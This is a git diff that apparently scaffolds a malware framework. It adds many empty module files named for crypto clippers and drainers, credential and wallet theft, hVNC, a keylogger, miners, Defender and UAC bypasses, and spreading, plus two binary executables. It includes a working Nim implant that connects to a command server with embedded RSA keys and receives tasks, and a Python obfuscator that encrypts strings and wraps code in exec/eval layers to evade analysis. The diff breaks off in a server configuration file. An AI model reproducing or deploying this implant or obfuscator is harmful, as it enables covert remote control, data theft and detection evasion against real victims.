diff --git a/components/cats.airforce_daemon.bat b/components/cats.airforce_daemon.bat new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/config.d b/components/implant/config.d new file mode 100644 index 0000000..e01f622 --- /dev/null +++ b/components/implant/config.d @@ -0,0 +1,3 @@ +type + Configuration = ref object + implant_private_key: string \ No newline at end of file diff --git a/components/implant/listener.d b/components/implant/listener.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/block_websites.d b/components/implant/modules/block_websites.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/clipper/btc.d b/components/implant/modules/clipper/btc.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/clipper/clipper.d b/components/implant/modules/clipper/clipper.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/clipper/eth.d b/components/implant/modules/clipper/eth.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/clipper/ltc.d b/components/implant/modules/clipper/ltc.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/clipper/sol.d b/components/implant/modules/clipper/sol.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/clipper/usdt.d b/components/implant/modules/clipper/usdt.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/clipper/xmr.d b/components/implant/modules/clipper/xmr.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/atomic.d b/components/implant/modules/drainer/atomic.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/btc.d b/components/implant/modules/drainer/btc.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/drainer.d b/components/implant/modules/drainer/drainer.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/eth.d b/components/implant/modules/drainer/eth.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/exodus.d b/components/implant/modules/drainer/exodus.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/ltc.d b/components/implant/modules/drainer/ltc.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/sol.d b/components/implant/modules/drainer/sol.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/usdt.d b/components/implant/modules/drainer/usdt.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/drainer/xmr.d b/components/implant/modules/drainer/xmr.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/browser.d b/components/implant/modules/exfiltration/browser.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/files.d b/components/implant/modules/exfiltration/files.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/game.d b/components/implant/modules/exfiltration/game.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/mail.d b/components/implant/modules/exfiltration/mail.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/messenger.d b/components/implant/modules/exfiltration/messenger.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/network.d b/components/implant/modules/exfiltration/network.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/system.d b/components/implant/modules/exfiltration/system.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/vpn.d b/components/implant/modules/exfiltration/vpn.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/exfiltration/wallet.d b/components/implant/modules/exfiltration/wallet.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/hvnc/hvnc.d b/components/implant/modules/hvnc/hvnc.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/injections/injection.d b/components/implant/modules/injections/injection.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/injections/mail.d b/components/implant/modules/injections/mail.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/injections/messenger.d b/components/implant/modules/injections/messenger.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/injections/wallet.d b/components/implant/modules/injections/wallet.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/keylogger.d b/components/implant/modules/keylogger.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/miner/btc.d b/components/implant/modules/miner/btc.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/miner/eth.d b/components/implant/modules/miner/eth.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/miner/ltc.d b/components/implant/modules/miner/ltc.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/miner/miner.d b/components/implant/modules/miner/miner.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/miner/sol.d b/components/implant/modules/miner/sol.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/miner/usdt.d b/components/implant/modules/miner/usdt.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/miner/xmr.d b/components/implant/modules/miner/xmr.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/persistence.d b/components/implant/modules/persistence.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/porn_detection.d b/components/implant/modules/porn_detection.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/privilege_escalation/amsi_bypass.d b/components/implant/modules/privilege_escalation/amsi_bypass.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/privilege_escalation/destroy_wd.d b/components/implant/modules/privilege_escalation/destroy_wd.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/privilege_escalation/disable_etw.d b/components/implant/modules/privilege_escalation/disable_etw.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/privilege_escalation/disable_wd.d b/components/implant/modules/privilege_escalation/disable_wd.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/privilege_escalation/uac_bypass.d b/components/implant/modules/privilege_escalation/uac_bypass.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/protection/anti_analysis.d b/components/implant/modules/protection/anti_analysis.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/protection/anti_debug.d b/components/implant/modules/protection/anti_debug.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/protection/anti_vm.d b/components/implant/modules/protection/anti_vm.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/reverse_shell.d b/components/implant/modules/reverse_shell.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/shellcode_loader.d b/components/implant/modules/shellcode_loader.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/spread/mail.d b/components/implant/modules/spread/mail.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/spread/messenger.d b/components/implant/modules/spread/messenger.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/spread/network.d b/components/implant/modules/spread/network.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/modules/spread/spread.d b/components/implant/modules/spread/spread.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/out/rawr.exe b/components/implant/out/rawr.exe new file mode 100644 index 0000000..788e2cc Binary files /dev/null and b/components/implant/out/rawr.exe differ diff --git a/components/implant/paw.d b/components/implant/paw.d new file mode 100644 index 0000000..e69de29 diff --git a/components/implant/paw.exe b/components/implant/paw.exe new file mode 100644 index 0000000..059a1c7 Binary files /dev/null and b/components/implant/paw.exe differ diff --git a/components/implant/paw.nim b/components/implant/paw.nim new file mode 100644 index 0000000..578b06e --- /dev/null +++ b/components/implant/paw.nim @@ -0,0 +1,114 @@ +import std/[asyncdispatch, net, base64, json, strutils, openssl, tables] + +type + Configuration = ref object + socket_server: string + implant_private_key: string + implant_public_key: string + +let configInstance = Configuration( + socket_server: "127.0.0.1:42720", + implant_private_key: decode("LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQ3hFSFEzdWZVMFNpSmcKMEtGQW5raUM3bFRHVklVNzRVZ1lhb1dIR2FhajIyaUJ5ZTFMZklRK0VTNUNaSG5vSFh6SEkySkJySTBMZFdzUwpGVXhobTBYMk04UERvdDNpUlBNRDNPOWZlTEhENVRkMmtzTW8wek1jZVE3M2I0cllqWXNSQk1LdFJ0ODB2eERTCmdPaSt4M3RFWkl0ZkwxQ2l6VW9SNmRWZ0hlQXVPcU9NMjdocGNrdVRLTWRhZHY1ZDZEZ09ON2NFVHhMdUpZbm4KMmtnT2N2clJiaXdqSFEyQzhSNVpodWpOcUE0RCtGVWJrbVJRcWtzM1huZksxOEExM25LTjMrak56RjdJbGxYagpmVEpDYTFoWFpYbE1mbnBWc3d4ZG1rRUp1QUVCT0NSelBjUmt4cWJjNERmR1RTam1hcW5YMXRlZUxGTFVEUkdVCmw2SHI4MGJDeTRIcmxDSFo5QWlpT1Y0Q2t2VmRMU1dEODFPWmFNd0lhSklOSVpnY3dJcjJndWZTWHZuaFBGdEYKNVBqcGFPQVhXVDRVRGJSOTFYcUtYa3BYdTRmZkhpdi9UMkxDRURmSnU3b0Fyb21CbktuL1VJb25zSFdFSkFtawptSHZQUjNzNnVMam94SnE1WC9WUGFxZXV4aExUQ1ArU3YweDhvTHdSZVF3RnZYbk5FYk5YeWxNZ1ZBd3ZTZHhPCnJqczBkbUNOemY0U25DaFRuR2J6TUZIRDVRUTRUN1dWMjdxZDY4VDNnUlBZSEZ3Y1hta0s0YlVMTHEydG9XcHcKTFkvRTIrRnIxUmplSzRsMDJpRk9wSUY2eXZtV2ZNdlYySUZxM1I3SmhUMUcyWklIbm1qRDhCMVdRcVgraHFPcgo3SEZoZlJ1ZzRETm9Tbm1pV0FHUDBSN2NXdHBzY3dJREFRQUJBb0lDQURoeTYvSTJMVWU1Mk1MdjBIRFc1WHdrCmVrOXVjN2wyNVhLdlJ4bWVvbU03MkZJRWE4djBpdjUwb01CVzR3eU9saEN3cGFzVlZUUVJmNHlZMEt5UGdacnYKdnRvWWlzK1B0c0FGQ0NWeVI0NFIvZ0FsNHVVWmpBSm9UODZ2dDE2NXBWdk1IanA2elQ4MktLbExvcWZyMWM4awpsTkJJTjlkblJsVjJyR21Eck14Z01uTCtPNGtXZ0tTT1RCdjVzcmVDaUpoeng3dXViL1VQYjZ0RWlsTmM4YnloCitKMUxMbHNQL3VLQTRhaHJDdWpXRzEvNmFGUFZMcnljdCtrcHBtUW1JblE3cmE4cW1BOHY2bnJubDRYWVRpWXkKdWh5YWQrcnBkYWhEdkxkWis2d0ZWNDJMNUJoU3dyREpKTTdxRzM5MkF1YkdYaUJWdGlSWGRFTGdvcVVqL21zawp6TWs4elhxK2hvMnB2M0R0QVpBWnJGcXZwb2syM0I5bTBhYzBZUlBMWEVXVTVMdTVYdVBhNWhGNXNkRDBmeGdOCnRtNDI0V3V0L282TkF0R3FteGVjbVUyRHB3cWlFTVRsSzNyNW1PR0xvWitVS0V3Wkd6ZHlkRmtEMUFOMzUrZGIKQ0hJYittWjlxT2N3YlNZbWNJZ1pXWmJNcWYxcTQ3ay9iczQ5QWg2U2ZnbkNGV1VHSUVlekJJbktuaGVMS2dJVwo5UWZvdmxCUm5DRVlsdkFnbm5RLzJOdDFuUXA2M0Y2TlVLaERJQXlNUjdDaU5FdnlVbnErTG1hNjRuL2tSMnpxCmlGK0FJNlNLeENHVXFpTmgrWEpoZEVEdy9YajZ1V28vSDVSVXVudUtRU3lySU1FRE9KTnZxYk1iRS9Ud1Uxbm0KY2ZqZkloQWU1MUVsaXN3Y0J3K1ZBb0lCQVFEaW9ReXJIMW1mN2d0aE1Ca3BpNTV0NnhoSVFhcnIrY1h0eFFBbgpYL3NDSmg0cGZGMWRXNlB6UEpMeVJpWU9pQ3haa01KcEptTDdjclVSSnRFSXNqRlg0eEZIZ29LaUtQUUFVTjBWCkhyK3NmcFBBcUh1NWY1VzdoRVdCdFRIU1licWVMSU9meVNlUmpHNDEwWC9QRDJ2ZzBSUzByL0xqcXlpcXFOUEUKQlR5RjdUbEJzbjZwUkhlVGpyVjBOOEh5UHVLNGY2ZzUvMCtiOUxiR0FrK01za2Z2VkpBQndhdEFMQlJWaWtlSwpBZk9uVkpmMEJaVWVPMTduUVR6TGtMazV1RGpFSTZsUmRJMUgwbTBaRVNoNHgvTnNMbVBhc05EdHZQdVJzVFVhCkJLZmN1WGFsUzE3eWQxYW1RcUR0WUJ5V3lja2VxVWhPZUxIME1wUmFRSzgrVWgzbkFvSUJBUURJQXZtMk1nMlkKVVEvaVkvK3huSnE2UDRIVHVMUWVEalBRWkJVT3dFNGtUM1BvRGdGQ3Z0alNxWjdtU0djR2p6Z3kzbCtHL25kOQpGZUxyVlhqR1B1dURYTFhVSFRhWndJRWc1bytwQjFOclg2czZzKytMa0FteTZrMS9pUXhWRXFYaXFxdG9TWnZhClNqYVkwZW1ZZTIzWkxLaWtCRXhkM2gxUUY4OFVhYTd1WFB1T240MU5raDdtWmRsTEt5WmpNN1VJay96b3VscjYKVlROdWNmazY0MmRUeWNLMUhkaDFBRnlkb0FFam5ZaTNhNGVDRFp2Q0NXeWlSRDVLVFpNL2d1Rk9HRWQycE5EQQpqQ0Nxb1poSnltcW1JY3llL2pBQ1FpeTdJZEpEZ01BbEhrVEhkR2pWZ0hvUG41MGZydUwyQ1VleE9IdGM5QW8vCjJwOGtnYWsyMWpPVkFvSUJBUUNPa3g4ek1OL2ptNUNSTGY5R2djM0QvUmtqckJ4cHBKTit5R2NXWG0yOXBsbG4KWkJRZ3ZaeGhWQVJtWXZkaVFRMFZzOXA2NkdseEkzTUNQVmRZanpJM3htU0NobnJFcGRzTHI5UEdpN2V1UDF1WQo0dVlqaHo2ZDM5TVNqUG14RDBhbVovN09zWEF4UXhXNnlmZ01QZmx5VUZja2JXVHpFaVRkYUtVQk53SWloMkYwCkVXVlorL2IyWDl1TUo5L2VGTzN4Z0c1SFBuWEkrYVZhNE8xRzZJb1U2VEJIeXAyQUc3c1hMWTFnSjJZd0tTb0gKbk5ONVY0U1hIQld4UTNVaitOL05sVm5hSXVjVy9pMGdqZ2pXSTRUaTFEU0J5cWRHU1pSQ3ppZElIUkcxN1AvVgpjWnRrRXV2eVlReDVDZlF5Y1BRVVZBOW5Qc3RGZytTTSt4REV0a2lWQW9JQkFDOTRGVS9hZlVPREthUHZXOFlKCmh1ZGhIeXppajB6NnplMU5jM24yeGhUMERtd3F0cjNpa1k4ZDFxcU0wSGJNRXVodnduaEZlSkpsV1YvRS8wNzkKcStPWFkwZ2VUdEVhMFFxLzdhU09Lb3czUG1wR1Bqbi9TMjM5RWJ1TkNUSS9wTU14QWxGVDl2dE4xYnRiUm5kOApBOHdoUHp6K0VDblBCMkgwNUo3Um5rVFFLSnZtM2lCazU1U0M0NWxsZWt6Yy9zQTBiemZFMHNiSzVkUDJsTklYCkduVFdVN0dzamF6bkV4UU4zM2RXY2hZbUhSa09wY0xkZmJ6ZE9YTmxDZWR1NW80a1VRR2xpQzNLbEE0ckgvdVQKWU5CaEFURlMzbzRLcXBjWEpkSURncGJNb2tJOExJMVBXcWpPbHZub0JkR2l6ak1QVnFmdSsyZkFPVGp1MVB4QQp4aWtDZ2dFQUc0R2VlRDdxWVBuYU81OUNmYXozZjQ3MDI3RExMNnFjbk55OE5yV1VIaW5raGVwYy9wNTI1R05zCkFyWElLNkFCVG1VTXdaZE8xZXRaaVJVVHFHL0dIY0w5SllFWFdHTEZ0RGJRREgzaDNVMGNQRHJHYTI5Z3ZIdE8KcTBBb01NNW1xUXkydUVlVzBmSlNGcUEzN2VTTitiQ3dhMndqd0hyUVFBZUE3NnZsTEJ3RW5HRjcxVkdNb3pDRwptR294anJzNkxicmQzYmVScXZkckZUalJZcmZWaVc2c094Q3ZXNGQwTUtyMlI4bHg2TkpzMzA0RG5zTi81TGgwCjFCTzc2eWx0VHVoL1FHQ2thOG1lYzNpdlh3NU9NSy9NSk5MUGxDOVduS1I3d1VMQXpFeHcvQWtOZnBCMFlCR3MKc1crS0xCMnVGd2N3UVllaW9Uc3piSG9wRElZWmdRPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo="), + implant_public_key: decode("LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUFzUkIwTjduMU5Fb2lZTkNoUUo1SQpndTVVeGxTRk8rRklHR3FGaHhtbW85dG9nY250UzN5RVBoRXVRbVI1NkIxOHh5TmlRYXlOQzNWckVoVk1ZWnRGCjlqUER3NkxkNGtUekE5enZYM2l4dytVM2RwTERLTk16SEhrTzkyK0sySTJMRVFUQ3JVYmZOTDhRMG9Eb3ZzZDcKUkdTTFh5OVFvczFLRWVuVllCM2dManFqak51NGFYSkxreWpIV25iK1hlZzREamUzQkU4UzdpV0o1OXBJRG5MNgowVzRzSXgwTmd2RWVXWWJvemFnT0EvaFZHNUprVUtwTE4xNTN5dGZBTmQ1eWpkL296Y3hleUpaVjQzMHlRbXRZClYyVjVUSDU2VmJNTVhacEJDYmdCQVRna2N6M0VaTWFtM09BM3hrMG81bXFwMTliWG5peFMxQTBSbEplaDYvTkcKd3N1QjY1UWgyZlFJb2psZUFwTDFYUzBsZy9OVG1Xak1DR2lTRFNHWUhNQ0s5b0xuMGw3NTRUeGJSZVQ0NldqZwpGMWsrRkEyMGZkVjZpbDVLVjd1SDN4NHIvMDlpd2hBM3lidTZBSzZKZ1p5cC8xQ0tKN0IxaENRSnBKaDd6MGQ3Ck9yaTQ2TVNhdVYvMVQycW5yc1lTMHdqL2tyOU1mS0M4RVhrTUJiMTV6Ukd6VjhwVElGUU1MMG5jVHE0N05IWmcKamMzK0Vwd29VNXhtOHpCUncrVUVPRSsxbGR1Nm5ldkU5NEVUMkJ4Y0hGNXBDdUcxQ3k2dHJhRnFjQzJQeE52aAphOVVZM2l1SmROb2hUcVNCZXNyNWxuekwxZGlCYXQwZXlZVTlSdG1TQjU1b3cvQWRWa0tsL29hanEreHhZWDBiCm9PQXphRXA1b2xnQmo5RWUzRnJhYkhNQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo="), +) + +let ip = configInstance.socket_server.split(":")[0] +let port = parseInt(configInstance.socket_server.split(":")[1]) + +var system_information = initTable[string, string]() +system_information["host"] = "test"#getHostName() +system_information["user"] = "test2"#getUsername() + +let sysinf = %*system_information + +proc rsaPrivateDecrypt(rsa: PRSA, encryptedData: string): string = + let keySize = RSA_size(rsa) + var decryptedData: seq[uint8] = newSeq[uint8](keySize) + ERR_clear_error() + + let resultLen = RSA_private_decrypt( + cint(len(encryptedData)), + cast[ptr uint8](encryptedData.cstring), + cast[ptr uint8](decryptedData[0].addr), + rsa, + RSA_PKCS1_PADDING + ) + + if resultLen == -1: + let err = ERR_get_error() + let errStr = ERR_error_string(err, nil) + echo "RSA decryption failed with error: ", errStr + raise newException(ValueError, "RSA decryption failed") + setLen(decryptedData, resultLen) + + return $decryptedData + +proc rsaPublicEncrypt(rsa: PRSA, dataToEncrypt: string): seq[uint8] = + let keySize = RSA_size(rsa) + var encryptedData: seq[uint8] = newSeq[uint8](keySize) + ERR_clear_error() + + let resultLen = RSA_public_encrypt( + cint(len(dataToEncrypt)), + cast[ptr uint8](dataToEncrypt.cstring), + cast[ptr uint8](encryptedData[0].addr), + rsa, + RSA_PKCS1_PADDING + ) + + if resultLen == -1: + let err = ERR_get_error() + let errStr = ERR_error_string(err, nil) + echo "RSA encryption failed with error: ", errStr + raise newException(ValueError, "RSA encryption failed") + setLen(encryptedData, resultLen) + + return encryptedData + +proc sock_conn() = + var implant = newSocket() + implant.connect(ip, Port(port)) + + implant.send(configInstance.implant_public_key) + + #var agent_id = implant.recv(64) + + let pubbio = BIO_new_mem_buf(cast[ptr byte](addr configInstance.implant_public_key[0]), -1) + let pubrsa = PEM_read_bio_RSA_PUBKEY(pubbio, nil, nil, nil) + + let privbio = BIO_new_mem_buf(cast[ptr byte](addr configInstance.implant_private_key[0]), -1) + let privrsa: PRSA = PEM_read_bio_RSA_PRIVATEKEY(privbio, nil, nil, nil) + + if pubrsa.isNil or privrsa.isNil: + echo "Failed to load RSA keys" + else: + echo "RSA keys successfully loaded" + + echo "System Information: ", $sysinf + + let sysinf: seq[uint8] = rsaPublicEncrypt(pubrsa, $sysinf) + #let sysinf: seq[uint8] = rsaPublicEncrypt(pubrsa, "testdata") + + echo "Encrypted Data: ", encode(sysinf) + + implant.send(encode(sysinf)) + + while true: + var task: string = implant.recv(4096) + + echo "Encrypted task: ", task + + var res = rsaPrivateDecrypt(privrsa, task) + + echo "Task: ", res + + discard BIO_free(pubbio) + discard BIO_free(privbio) + +proc main() {.async.} = + echo "RSA Implant Private Key: ", configInstance.implant_private_key + echo "RSA Implant Public Key: ", configInstance.implant_public_key + + sock_conn() + +waitFor main() \ No newline at end of file diff --git a/components/implant/sender.d b/components/implant/sender.d new file mode 100644 index 0000000..e69de29 diff --git a/components/loader/jar/loader.java b/components/loader/jar/loader.java new file mode 100644 index 0000000..e69de29 diff --git a/components/loader/loader.bat b/components/loader/loader.bat new file mode 100644 index 0000000..e69de29 diff --git a/components/loader/loader.ps1 b/components/loader/loader.ps1 new file mode 100644 index 0000000..e69de29 diff --git a/components/obfuscation/obfuscate.py b/components/obfuscation/obfuscate.py new file mode 100644 index 0000000..8fa130d --- /dev/null +++ b/components/obfuscation/obfuscate.py @@ -0,0 +1,285 @@ +__name__ = "rose_obfuscator" +__author__ = "gumbobr0t" +__version__ = "1.0.3" + +from logging import INFO, DEBUG, getLogger, Formatter, FileHandler +from ast import ( + parse, + unparse, + walk, + Name, + Assign, + ClassDef, + FunctionDef, + AsyncFunctionDef, +) +from random import choice +from string import ascii_letters, ascii_uppercase, digits, punctuation +from os import path, getcwd +from re import sub +from lzma import compress, decompress +from argparse import ArgumentParser +from colorlog import StreamHandler, ColoredFormatter +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.backends import default_backend +from base64 import urlsafe_b64encode, urlsafe_b64decode + +log_format = "%(asctime)s [%(levelname)s] [%(module)s.%(funcName)s] %(message)s" +handler = StreamHandler() +handler.setFormatter(ColoredFormatter(log_format)) +handler.setLevel(INFO) +file_handler = FileHandler("rose-obf.log", encoding="utf-8") +file_handler.setLevel(DEBUG) +file_formatter = Formatter(log_format) +file_handler.setFormatter(file_formatter) +root_logger = getLogger() +root_logger.addHandler(handler) +root_logger.addHandler(file_handler) +root_logger.setLevel(DEBUG) + + +def generate_key(length=16): + characters = ascii_letters + punctuation + key = "".join(choice(characters) for _ in range(length)) + return key + + +def generate_random_string(length): + characters = ascii_uppercase + digits + return "".join(choice(characters) for _ in range(length)) + + +def getCustom(): + dec = choice([1, 2, 3]) + + if dec == 1: + return generate_pattern1() + elif dec == 2: + return generate_pattern2() + elif dec == 3: + return generate_pattern3() + + +def generate_pattern1(): + return "__" + "".join(choice("O0") for _ in range(10)) + + +def generate_pattern2(): + return "__" + "".join(choice("0123456789") for _ in range(10)) + "__" + + +def generate_pattern3(): + return "".join(choice("Il") for _ in range(15)) + "I" + + +def encryptData(text, key): + cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) + encryptor = cipher.encryptor() + + padder = padding.PKCS7(128).padder() + padded_data = padder.update(text.encode()) + padder.finalize() + + ciphertext = encryptor.update(padded_data) + encryptor.finalize() + return urlsafe_b64encode(ciphertext).decode() + + +def decryptData(ciphertext, key): + cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend()) + decryptor = cipher.decryptor() + + decrypted_data = ( + decryptor.update(urlsafe_b64decode(ciphertext)) + decryptor.finalize() + ) + + unpadder = padding.PKCS7(128).unpadder() + unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() + + return unpadded_data.decode() + + +def process_node(node, name_dict): + if isinstance(node, Name) and node.id in name_dict: + node.id = name_dict[node.id] + + +def obfuscate_code(input_file): + with open(input_file, "r", encoding="utf-8", errors="ignore") as f: + content = f.read() + + content = sub(r"\n\s*\n", "\n", content) + + tree = parse(content) + + name_dict = {} + + root_logger.info( + "Renaming Classes, Functions, Arguments, Keyword Arguments and Variables..." + ) + for node in walk(tree): + if isinstance(node, (FunctionDef, AsyncFunctionDef)): + old_name = node.name + new_name = getCustom() + root_logger.debug( + f"Function Name: {old_name} ---> New Function Name: {new_name}" + ) + name_dict[old_name] = new_name + node.name = new_name + + for arg in node.args.args: + old_arg_name = arg.arg + new_arg_name = getCustom() + root_logger.debug( + f"Argument Name: {old_arg_name} ---> New Argument Name: {new_arg_name}" + ) + name_dict[old_arg_name] = new_arg_name + arg.arg = new_arg_name + + for keyword in node.args.kwonlyargs: + old_kwarg_name = keyword.arg + new_kwarg_name = getCustom() + root_logger.debug( + f"Keyword Argument Name: {old_kwarg_name} ---> New Keyword Argument Name: {new_kwarg_name}" + ) + name_dict[old_kwarg_name] = new_kwarg_name + keyword.arg = new_kwarg_name + + elif isinstance(node, ClassDef): + old_name = node.name + new_name = getCustom() + root_logger.debug(f"Class Name: {old_name} ---> New Class Name: {new_name}") + name_dict[old_name] = new_name + node.name = new_name + + for node in walk(tree): + if isinstance(node, Assign): + for target in node.targets: + if isinstance(target, Name): + old_var_name = target.id + new_var_name = getCustom() + root_logger.debug( + f"Variable Name: {old_var_name} ---> New Variable Name: {new_var_name}" + ) + name_dict[old_var_name] = new_var_name + target.id = new_var_name + + process_node(node, name_dict) + root_logger.info( + "Renaming of classes, functions, arguments, keyword arguments and variables done." + ) + + return unparse(tree) + + +key = [ord(char) for char in generate_key()] +decryptionFun = getCustom() +ciphertextParam = getCustom() +base64decodeVar = getCustom() +lzmadecompressVar = getCustom() +keyVar = getCustom() +cipherVar = getCustom() +decryptorVar = getCustom() +decrypted_textVar = getCustom() +unpadderVar = getCustom() +unpadded_dataVar = getCustom() + + +def replace_string(match): + s = match.group(1) + encrypted_string = encryptData(s, bytes(key)) + encrypted_string = encrypted_string.replace("'", r"\'") + chr_format = "+".join([f"chr({ord(char)})" for char in repr(encrypted_string)]) + b_format = [ord(char) for char in encrypted_string] + stage_1 = f"{decryptionFun}(eval({base64decodeVar}({urlsafe_b64encode(f'bytes({b_format})'.encode('utf-8'))})).decode(\"utf-8\"))" + stringified_stage_1 = str(urlsafe_b64encode(stage_1.encode("utf-8"))) + stage_2 = f'eval({base64decodeVar}({stringified_stage_1}).decode("utf-8"))[1:-1]' + decrypted_string = decryptData(encrypted_string, bytes(key)) + root_logger.debug( + f"String: {s} ---> Encrypted String: {encrypted_string} ---> Char Encrypted String: {chr_format} ---> Bytes Encrypted String: {b_format} ---> Evalized encoded string: {stage_2} ---> Aes Decrypted String: {decrypted_string}" + ) + return stage_2 + + +def obfuscate_strings(content): + root_logger.info("Encrypting strings...") + data = sub(r"(\'[^\']*\'|\"[^\"]*\")", replace_string, content) + root_logger.info("Encryption of strings done.") + return data + + +def main(input_file, output_file): + root_logger.debug("Entered main function.") + content = obfuscate_code(input_file) + + with open(output_file, "w") as f: + data = "".join( + [ + "from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes\n", + "from cryptography.hazmat.primitives import padding\n", + "from cryptography.hazmat.backends import default_backend\n", + f"def {decryptionFun}({ciphertextParam}):\n", + f" {keyVar}=bytes({key})\n" + f" {cipherVar}=Cipher(algorithms.AES({keyVar}),modes.ECB(),backend=default_backend())\n", + f" {decryptorVar}={cipherVar}.decryptor()\n", + f" {decrypted_textVar}={decryptorVar}.update({base64decodeVar}({ciphertextParam}))+{decryptorVar}.finalize()\n", + f" {unpadderVar}=padding.PKCS7(128).unpadder()\n", + f" {unpadded_dataVar}={unpadderVar}.update({decrypted_textVar}) + {unpadderVar}.finalize()\n", + f" return {unpadded_dataVar}.decode()\n\n", + obfuscate_strings(content), + ] + ) + + compressed_data = compress( + f'str({base64decodeVar}({urlsafe_b64encode(str(data).encode("utf-8"))}).decode("utf-8"))'.encode( + "utf-8" + ) + ) + data = f"from base64 import urlsafe_b64decode as {base64decodeVar};from lzma import decompress as {lzmadecompressVar};exec(eval({lzmadecompressVar}({compressed_data})))" + data = ( + """# Obfuscated with Rose\n# github.com/rose-dll\n\n# ^..^ /\n# /_/\_____/\n# /\ /\\\n# / \ / \\\n\n""" + + data + ) + f.write(data) + + +if __name__ == "rose_obfuscator": + parser = ArgumentParser( + description="Obfuscate Python code efficiently with Rose-obf." + ) + parser.add_argument( + "-i", + "--input", + help="Input file name (required, .py)", + dest="in_file", + metavar="", + required=True, + ) + parser.add_argument( + "-o", + "--output", + help="Output file name", + dest="out_file", + metavar="", + required=False, + ) + args = parser.parse_args() + + input_file = args.in_file + output_file = ( + path.join(getcwd(), f"obf-{generate_random_string(10)}.py") + if args.out_file is None + else args.out_file + ) + + if input_file.endswith(".py"): + try: + root_logger.info(f"{input_file} ---> {output_file}...") + root_logger.debug("Entering main function.") + main(input_file, output_file) + root_logger.info(f"Done. {input_file} ---> {output_file}") + except Exception as e: + root_logger.error(f"Error: {e}") + else: + root_logger.error( + "Invalid Python file entered. Please make sure the file has a .py extension." + ) diff --git a/components/python_installer.bat b/components/python_installer.bat new file mode 100644 index 0000000..e69de29 diff --git a/components/server/configuration.json b/components/server/configuration.json new file mode 100644 index 0000000..05b3246 --- /dev/null +++ b/components/server/configuration.json @@ -0,0 +1,10 @@ +{ + "host": "127.0.0.1", + "port": "42720", + "server_pub_key": 